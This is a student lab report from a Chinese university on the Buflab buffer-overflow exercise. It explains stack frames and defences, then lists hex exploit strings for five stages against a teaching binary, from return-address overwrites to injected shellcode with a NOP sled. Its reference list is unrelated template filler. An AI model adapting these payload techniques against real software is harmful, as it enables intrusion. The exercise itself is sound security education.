哈爾濱工業大學

实验报告

实 验（四）

题　　目 Buflab

缓冲器漏洞攻击

专　　业 计算机

学　　号 1180300303

班　　级 1836101

学　　生 宿梓航

指 导 教 师 刘宏伟

实 验 地 点 G712

实 验 日 期 2019.11.5

计算机科学与技术学院

目 录

第 1 章 实验基本信息

1.1 实验目的

理解 C 语言函数的汇编级实现及缓冲器溢出原理

掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法

进一步熟练使用 Linux 下的调试工具完成机器语言的跟踪调试

1.2 实验环境与工具

1.2.1 硬件环境

Intel Core i7-8750H, 2.2GHz
16G RAM
Samsung SSD 970 PRO 1TB

1.2.2 软件环境

Windows 10 1903 x64
Ubuntu 19.04
Vmware Workstation 15.1

1.2.3 开发工具

Visual Studio 2019
GCC 8.3.0，8.1.0
GNU nano 3.2

1.3 实验预习

填写

第 2 章 实验预习

2.1 请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构（5 分）

<table>
<tr><td rowspan="2">上一个栈帧</td><td>输入参数</td><td></td></tr>
<tr><td>返回地址</td><td></td></tr>
<tr><td rowspan="4">当前栈帧</td><td>上一个过程的帧指针</td><td><-ebp</td></tr>
<tr><td>本过程的变量</td><td></td></tr>
<tr><td>要传递的参数</td><td></td></tr>
<tr><td>返回地址</td><td><-esp</td></tr>
</table>

2.2 请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构（5 分）

<table>
<tr><td rowspan="2">上一个栈帧</td><td>输入参数</td><td></td></tr>
<tr><td>返回地址</td><td></td></tr>
<tr><td rowspan="4">当前栈帧</td><td>上一个过程的帧指针</td><td><-rbp</td></tr>
<tr><td>本过程的变量</td><td></td></tr>
<tr><td>要传递的参数</td><td></td></tr>
<tr><td>返回地址</td><td><-rsp</td></tr>
</table>

2.3 请简述缓冲区溢出的原理及危害（5 分）

缓冲区由调用者在栈中申请，并将首地址传给被调用者；但是被调用者在向其中写入数据时，并不会确认缓冲区的大小是否是足够的；当写入的数据所需的空间超出了申请的空间，就发生了缓冲区溢出。

而由于返回地址、寄存器等重要的数据都位于缓冲区的上方，当缓冲区溢出时，可能会破坏这部分数据，导致程序无法正常的返回。

2.4 请简述缓冲器溢出漏洞的攻击方法（5 分）

由于缓冲区在溢出时，可能覆写返回地址，那么在被调用者 ret 时，可能跳转到具有攻击性的函数。

一种攻击形式中，攻击代码会调用系统启动一个 Shell 程序，给攻击者提供一组操作系统函数；在另一种攻击方式中，攻击代码会执行一些未授权的任务，修复对栈的破坏，然后再一次 ret，表面上正常返回到调用者。

2.5 请简述缓冲器溢出漏洞的防范方法（5 分）

1.栈随机化

让栈的位置在程序每次运行时都发生变化；

2.栈破坏检测

在缓冲区与栈状态储存间，加入特殊的保护值，这样栈被破坏时，程序可以检测到，并产生异常、退出。

3.限制可执行代码区域

只允许编译器生成的区域执行，其它区域只允许读写。

第 3 章 各阶段漏洞攻击原理与方法

每阶段 25 分，文本 10 分，分析 15 分，总分不超过 80 分

3.1 Smoke 阶段 1 的攻击与分析

```
ferdinand@vm-ferd ~/l/x64A> dbgname=Smoke
ferdinand@vm-ferd ~/l/x64A> cat $dbgname.txt| ./hex2raw|./bufbomb -u 1180300303
Userid: 1180300303
Cookie: 0x66d9a181
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
ferdinand@vm-ferd ~/l/x64A>
```

文本如下：

/* smoke:@4010B6>> */

11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11

11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 /* 32 Bytes in buf */

11 11 11 11 11 11 11 11 /* + rbp 8 Bytes */

B6 10 40 00 00 00 00 00 /* Smoke */

分析过程：

Buf 的大小为 32Bytes，那分析栈的结构知，buf 后面只有一个%rbp 的空间，再之后就是返回地址；那我们只需随意覆盖前 40Bytes，然后再写入 8Bytes 为 Smoke 的地址。

3.2 Fizz 的攻击与分析

```
ferdinand@vm-ferd ~/l/x64A> dbgname=Fizz
ferdinand@vm-ferd ~/l/x64A> cat $dbgname.txt| ./hex2raw|./bufbomb -u 1180300303
Userid: 1180300303
Cookie: 0x66d9a181
Type string:Fizz!: You called fizz(0x66d9a181)
VALID
NICE JOB!
```

文本如下：

/* smoke:@4010B6>> */

/* start of buf[]:0x55683a60 */

bf 81 a1 d9 66 /* mov $0x66d9a181,%edi, 5Bytes */

68 d8 10 40 00 /* pushq $0x4010d8 5Bytes */

c3 /* ret 1Byte */

11 11 11 11 11 11 11 11

11 11 11 11 11 11 11 11

11 11 11 11 11 /* Rest 21 Bytes in buf */

11 11 11 11 11 11 11 11 /* + rbp 8 Bytes */

60 3A 68 55 00 00 00 00 /* Ourcode */

分析过程：

为了完成攻击，我们需要把 Cookie 值赋值到%edi 中，然后在这之后调用 fizz()；这就是我们攻击代码的内容；

同时，为了让 getbuf() return 到我们的攻击代码，我们采用和 smoke 攻击相同的方式，覆写地址，把返回地址设为我们攻击代码的位置(Buf)。

3.3 Bang 的攻击与分析

```
ferdinand@vm-ferd ~/l/x64A> dbgname=Bang
ferdinand@vm-ferd ~/l/x64A> cat $dbgname.txt| ./hex2raw|./bufbomb -u 1180300303
Userid: 1180300303
Cookie: 0x66d9a181
Type string:Bang!: You set global_value to 0x66d9a181
VALID
NICE JOB!
ferdinand@vm-ferd ~/l/x64A>
```

文本如下：

/* smoke:@4010B6>> */

/* start of buf[]:0x55683a60 */

b8 81 a1 d9 66 /* mov $0x66d9a181,%eax 5Bytes */

89 04 25 f0 61 60 00 /* mov %eax,0x6061f0 7Bytes */

68 2e 11 40 00 /* pushq $0x40112e 5Bytes */

c3 /* retq */

11 11 11 11 11 11 11 11

11 11 11 11 11 11 /* Rest 14 Bytes in buf */

11 11 11 11 11 11 11 11 /* + rbp 8 Bytes */

60 3A 68 55 00 00 00 00 /* Ourcode */

分析过程：

为了完成攻击，我们需要把 Cookie 值赋值到一个全局变量中，然后在这之后调用 bang()；这就是我们攻击代码的内容；

同时，为了让 getbuf() return 到我们的攻击代码，我们采用和 smoke 攻击相同的方式，覆写地址，把返回地址设为我们攻击代码的位置(Buf)。

3.4 Boom 的攻击与分析

```
ferdinand@vm-ferd ~/l/x64A> cat $dbgname.txt| ./hex2raw|./bufbomb -u 1180300303
Userid: 1180300303
Cookie: 0x66d9a181
Type string:Boom!: getbuf returned 0x66d9a181
VALID
NICE JOB!
ferdinand@vm-ferd ~/l/x64A>
```

文本如下：

/* smoke:@4010B6>> */

/* start of buf[]:0x55683a60 */

/* rbp 0x55683aa0 */

/* ret Test 0x4011AE */

b8 81 a1 d9 66 /* mov $0x66d9a181,%eax 5Bytes */

68 AE 11 40 00 /* pushq $0x4011AE 5Bytes */

c3 /* retq */

11 11 11 11 11

11 11 11 11 11

11 11 11 11 11

11 11 11 11 11

11 /* Rest 21 Bytes in buf */

A0 3A 68 55 00 00 00 00 /* + rbp 8 Bytes */

60 3A 68 55 00 00 00 00 /* Ourcode */

分析过程：

为了完成攻击，我们需要把 Cookie 值赋值到%eax 中，然后在这之后把 test()中相应的返回地址入栈；这就是我们攻击代码的内容；

同时，为了让 getbuf() return 到我们的攻击代码，我们采用和 smoke 攻击相同的方式，覆写地址，把返回地址设为我们攻击代码的位置(Buf)。

需要格外注意的是，此时的栈中的%rbp 值应当与 test()调用 getbuf()时的值一样。

3.5 Nitro 的攻击与分析

```
ferdinand@vm-ferd ~/l/x64A> cat $dbgname.txt| ./hex2raw|./bufbomb -u 1180300303 -n
Userid: 1180300303
Cookie: 0x66d9a181
Type string:KABOOM!: getbufn returned 0x66d9a181
Keep going
Type string:KABOOM!: getbufn returned 0x66d9a181
Keep going
Type string:KABOOM!: getbufn returned 0x66d9a181
Keep going
Type string:KABOOM!: getbufn returned 0x66d9a181
Keep going
Type string:KABOOM!: getbufn returned 0x66d9a181
VALID
NICE JOB!
```

文本如下：

/* smoke:@4010B6>> */

/* start of buf[]:0x55683880，0x55683800，0x55683820，0x556838d0，0x55683880 */

/* rbp rsp+0x18 */

/* ret Testn 0x401233 */

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 /* 504 * nop [Generated By Program] */
b8 81 a1 d9 66 /* mov     $0x66d9a181,%eax 5 */
48 8d 6c 24 10 /* lea     0x10(%rsp),%rbp 5 */
68 33 12 40 00 /*    pushq   0x401233 5 */
c3 /* retq 1 */
D0 38 68 55 00 00 00 00 /* MaxLoc of Ourcode */
0A /* 'Return' to repeat */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 /* 504 * nop [Generated By Program] */
b8 81 a1 d9 66 /* mov        $0x66d9a181,%eax 5 */
48 8d 6c 24 10 /* lea        0x10(%rsp),%rbp 5 */
68 33 12 40 00 /*      pushq    0x401233 5 */
c3 /* retq 1 */
D0 38 68 55 00 00 00 00 /* MaxLoc of Ourcode */
0A /* 'Return' to repeat */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 /* 504 * nop [Generated By Program] */
b8 81 a1 d9 66 /* mov        $0x66d9a181,%eax 5 */
48 8d 6c 24 10 /* lea        0x10(%rsp),%rbp 5 */
68 33 12 40 00 /*      pushq    0x401233 5 */
c3 /* retq 1 */
D0 38 68 55 00 00 00 00 /* MaxLoc of Ourcode */
0A /* 'Return' to repeat */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 /* 504 * nop [Generated By Program] */
b8 81 a1 d9 66 /* mov        $0x66d9a181,%eax 5 */
48 8d 6c 24 10 /* lea        0x10(%rsp),%rbp 5 */
68 33 12 40 00 /*     pushq    0x401233 5 */
c3 /* retq 1 */
D0 38 68 55 00 00 00 00 /* MaxLoc of Ourcode */
0A /* 'Return' to repeat */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 /* 504 * nop [Generated By Program] */
b8 81 a1 d9 66 /* mov        $0x66d9a181,%eax 5 */
48 8d 6c 24 10 /* lea        0x10(%rsp),%rbp 5 */
68 33 12 40 00 /*      pushq    0x401233 5 */
c3 /* retq 1 */
D0 38 68 55 00 00 00 00 /* MaxLoc of Ourcode */
0A /* 'Return' to repeat */
```

分析过程：

因为地址随机化，rbp 不再是一个常量，因此我们需要手动的恢复 rbp，由

```
public testn
testn proc near

var_8= dword ptr -8
var_4= dword ptr -4

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     eax, 0
call    uniqueval
mov     [rbp+var_8], eax
mov     eax, 0
call    getbufn
```

知 rbp=rsp+0x10; 因此我们的攻击代码中需要包含 lea 0x10(%rsp),%rbp 再使用 movl $0x66d9a181, %eax 生成返回值，push $0x401233 + ret 即可返回 testn 的预期位置。为了让我们的攻击代码总能被执行，我们把 getbuf() 的 return 地址改为 buf[]的最大可能起始位置，并将其放在字节填充区的最末端，然后用 90(nop)来填充剩余部分。

另外，为了让这个攻击代码被输入五次，我们将其复制了 4 次，然后每两段之间加入了 LF(0A)。

第 4 章 总结

4.1 请总结本次实验的收获

理解了 C 语言函数的汇编级实现及缓冲器溢出原理，掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法。

4.2 请给出对本次实验内容的建议

建议简化下发的程序包。。。一共有四个而每个又都不一样，可能造成混乱。

注：本章为酌情加分项。

参考文献

为完成本次实验你翻阅的书籍与网站等

[1] 林来兴. 空间控制技术[M]. 北京：中国宇航出版社，1992：25-42.

[2] 辛希孟. 信息技术与信息服务国际研讨会论文集：A 集[C]. 北京：中国科学出版社，1999.

[3] 赵耀东. 新时代的工业工程师[M/OL]. 台北：天下文化出版社，1998 [1998-09-26]. http://www.ie.nthu.edu.tw/info/ie.newie.htm（Big5）.

[4] 谌颖. 空间交会控制理论与方法研究[D]. 哈尔滨：哈尔滨工业大学，1992：8-13.

[5] KANAMORI H. Shaking Without Quaking[J]. Science，1998，279（5359）：2063-2064.

[6] CHRISTINE M. Plant Physiology: Plant Biology in the Genome Era[J/OL]. Science，1998，281：331-332[1998-09-23]. http://www.sciencemag.org/cgi/collection/anatmorp.